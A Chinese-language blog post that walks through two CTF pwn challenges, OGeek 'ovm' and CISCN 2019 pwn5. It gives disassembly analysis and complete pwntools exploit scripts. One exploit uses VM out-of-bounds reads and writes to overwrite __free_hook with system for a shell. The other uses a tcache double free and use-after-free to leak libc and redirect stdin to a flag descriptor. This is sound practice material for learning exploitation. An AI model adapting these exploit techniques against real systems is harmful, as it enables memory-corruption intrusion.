一些题目的复现...

越来越发现自己是真的太菜了,多复现题目吧…不写wp太容易忘了.

Ogeek final ovm

从ex师傅那里找到了源文件,然后做了做.

分析

没有去掉符号表,比较好分析.
寄存器,程序段,栈都以全局变量的形式存在:

SP和IP寄存器保存在reg数组中:

1
2
3
4
5
6
7
8
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &IP_);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &SP_);
getchar();
reg[13] = SP_;
reg[15] = IP_;

字节码分析

一个字节码的长度为4字节:
高位第一个字节标志着字节码的种类(add,sub,push,pop…等)

1
opcode = HIBYTE(opcode);

第一个操作数为高位倒数第二个字节的低位4bit:

1
op1 = (opcode & 0xF0000u) >> 16;

第二个操作数为高位倒数第三个字节的低位4bit:

1
op2 = (opcode & 0xF00) >> 8;

第三个操作数为低位第一个字节的低位4bit:

1
op3 = opcode & 0xF;

分析完,有用的字节码大概这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def opcode(opcode,op1,op2,op3):
global times
s = (opcode<<24)+(op1<<16)+(op2<<8)+op3
times+=1
return str(s)+'\n'
def ADD(op1,op2,op3):#reg[op1] = reg[op2] + reg[op3];
return opcode(0x70,op1,op2,op3)
def SUB(op1,op2,op3):
return opcode(0x80,op1,op2,op3)
def PUSH(op1):
return opcode(0x50,op1,0,0) # stack[SP] = reg[op1]
def POP(op1):
return opcode(0x60,op1,0,0) # reg[op1] = Stack[SP]
def MOV_TO_REG(op1,op3):
return opcode(0x30,op1,0,op3)# reg[op1] = mem[reg[op3]]
def MOV_TO_MEM(op1,op3):
return opcode(0x40,op3,0,op1)# MEM[reg[op1]] = reg[op2]
def LSHIFT(op1,op2,op3):
return opcode(0xC0,op1,op2,op3)
def RSHIFT(op1,op2,op3):
return opcode(0xD0,op1,op2,op3)
def EXIT():
return opcode(0xd1,0,0,0)

这里使用MOV_TO_REG和MOV_TO_MEM的时候存在越界读取.可以相对于memory上溢或者下溢.

利用思路

利用相对偏移,读取GOT表,然后修改comment指向free_hook附近,然后修改free_hook为system即可,程序最后这里可以修改comment指向的内容

1
2
3
4
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment[0], 0x8CuLL);
sendcomment(comment[0]);
write(1, "Bye\n", 4uLL);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding=utf-8
from pwn import *
local = 1
exec_file="./ovm"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x0000000000000B60)
b *($text_base+0x0000000000000D4B)
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))

def Init(pc,SP,size,code):
a.sendlineafter("PC: ",str(pc))
a.sendlineafter("SP: ",str(SP))
a.sendlineafter("CODE SIZE: ",str(size))
a.recvuntil("CODE: ")
a.send(code)
times = 0
def opcode(opcode,op1,op2,op3):
global times
s = (opcode<<24)+(op1<<16)+(op2<<8)+op3
times+=1
return str(s)+'\n'
def ADD(op1,op2,op3):#reg[op1] = reg[op2] + reg[op3];
return opcode(0x70,op1,op2,op3)
def SUB(op1,op2,op3):
return opcode(0x80,op1,op2,op3)
def PUSH(op1):
return opcode(0x50,op1,0,0) # stack[SP] = reg[op1]
def POP(op1):
return opcode(0x60,op1,0,0) # reg[op1] = Stack[SP]
def MOV_TO_REG(op1,op3):
return opcode(0x30,op1,0,op3)# reg[op1] = mem[reg[op3]]
def MOV_TO_MEM(op1,op3):
return opcode(0x40,op3,0,op1)# MEM[reg[op1]] = reg[op2]
def LSHIFT(op1,op2,op3):
return opcode(0xC0,op1,op2,op3)
def RSHIFT(op1,op2,op3):
return opcode(0xD0,op1,op2,op3)
def EXIT():
return opcode(0xd1,0,0,0)

SP_index = 13
IP_index = 15
offset_free_got = -62
__free_hook = libc.symbols["__free_hook"]
free = libc.symbols["free"]
offset = __free_hook - free
print hex(offset)
code=""
for i in range(61):
code+=SUB(1,1,13)#reg[1]=-31
code+=MOV_TO_REG(0,1)#
code+=SUB(1,1,13)
code+=MOV_TO_REG(2,1)# reg[0] = 7fff reg[2] = F7A914F0
code+=ADD(3,3,15)#reg[3] = 1
for i in range(14):
code+=LSHIFT(3,3,13)
code+=ADD(4,4,3)
code+=ADD(3,3,3)
code+=ADD(3,3,4)
code+=RSHIFT(4,4,13)
code+=RSHIFT(4,4,13)
code+=ADD(3,3,4)
for i in range(0xad48+8):
code+=SUB(3,3,13)
code+=ADD(2,2,3)#reg[2]=free_hook&0xffffffff
for i in range(54):
code+=ADD(1,1,13)
code+=MOV_TO_MEM(1,2)
code+=ADD(1,1,13)
code+=MOV_TO_MEM(1,0)
code+=EXIT()
Init(0,1,times,code)
a.recvuntil("R0: ")
a1 = a.recvuntil("\n",drop=True)
a.recvuntil("R2: ")
a2 = a.recvuntil("\n",drop=True)
libc_base=int(a1+a2,16)-libc.symbols["__free_hook"]+8
fuck(libc_base)
a.recvuntil("HOW DO YOU FEEL AT OVM?\n")
a.sendline("/bin/sh\x00"+p64(libc_base+libc.symbols["system"]))

a.interactive()

CISCN 2019 final day1 pwn5

环境是2.27

程序分析

程序最开始调用init函数,这个函数打开了flag,并把文件描述符重定向到666.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

然后调用Sandbox_Loading上了沙箱,禁用了execve.

add函数只能申请两种大小chunk: 0x30和0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
printf("TYPE:\n1: int\n2: short int\n>");
v3 = get_atoi();
if ( v3 == 1 ) // int
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = (int *)int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( v3 == 2 ) // short int
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v1 = get_atoi();
*(_WORD *)short_pt = v1;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}

每次申请成功会把bool这个全局变量设置为1.
delete函数这里根据bool变量是否为1来决定是否free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( bool )
{
printf("TYPE:\n1: int\n2: short int\n>");
v1 = get_atoi();
if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
}
else
{
puts("invalid !");
}

free过后没有将指针清0,存在UAF,虽然free过后就将bool变量设置为0,但是add一次过后会将bool变量设置为1,这样就可以一直free.
例如想要double free Int chunk,可以free一次,add一次Short Int chunk,这样就又可以free Int chunk了.

利用思路

首先在栈上写入属于unsorted bin 的size,然后利用double free申请到这个fake chunk.
连续free fake chunk 8次,将其放入unsorted bin 中.利用Show函数泄露出libc地址的高位4字节.
将chunk申请到stdin的fileno处,将fileno修改为666.
调用bye_bye函数,scanf就会将flag读入buf里,然后打印出来.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf-8
from pwn import *
import struct
local = 1
exec_file="./inode_heap"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
argv = ["/glibc/x64/2.27/lib/ld-2.27.so","--library-path","/glibc/x64/2.27/lib/","./inode_heap"]
a=process(argv=argv)
libc=ELF("/glibc/x64/2.27/lib/libc-2.27.so")
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
#text_base,libc_base=get_base(a)
#script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script='''
b *
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def menu(idx):
a.sendlineafter("which command?\n> ",str(idx))
def add(type1,content):
menu(1)
a.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(type1))
a.sendafter("your inode number:",str(content))
def delete(idx):
menu(2)
a.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(idx))

def show(idx):
menu(3)
a.sendlineafter("TYPE:\n1: int\n2: short int\n>",str(idx))

add(1,0x91)
add(1,0x21)
add(1,0x21)
add(1,0x21)
add(1,0x21)
add(1,0x21)

delete(1)
add(2,0x21)
delete(1)
add(2,0x21)
delete(1)
show(1)
a.recvuntil("your int type inode number :")
heap_base=eval(a.recvuntil("\n",drop=True))
heap_base=struct.pack("i",heap_base)
heap_base=struct.unpack("I",heap_base)[0]
fuck(heap_base)
fake_chunk_addr=heap_base-0xe0
add(1,fake_chunk_addr)
add(1,0x21)
add(1,0x21)#get fake chunk
for i in range(7):
delete(1)
add(2,0x21)
delete(1)
show(1)
main_arena_96 = libc.symbols["__malloc_hook"]+0x10+96
a.recvuntil("your int type inode number :")
libc_base=eval(a.recvuntil("\n",drop=True))
libc_base=struct.pack("i",libc_base)
libc_base=struct.unpack("I",libc_base)[0]-main_arena_96
fuck(libc_base)
stdin = libc_base+libc.symbols["_IO_2_1_stdin_"]
add(1,stdin+112)

add(1,0x21)
delete(1)
add(2,0x21)
delete(1)
add(2,0x21)
delete(1)
add(2,0x21)
delete(1)
add(1,fake_chunk_addr)

add(1,0x21)
add(1,0x21)
add(1,666)
menu(4)
a.interactive()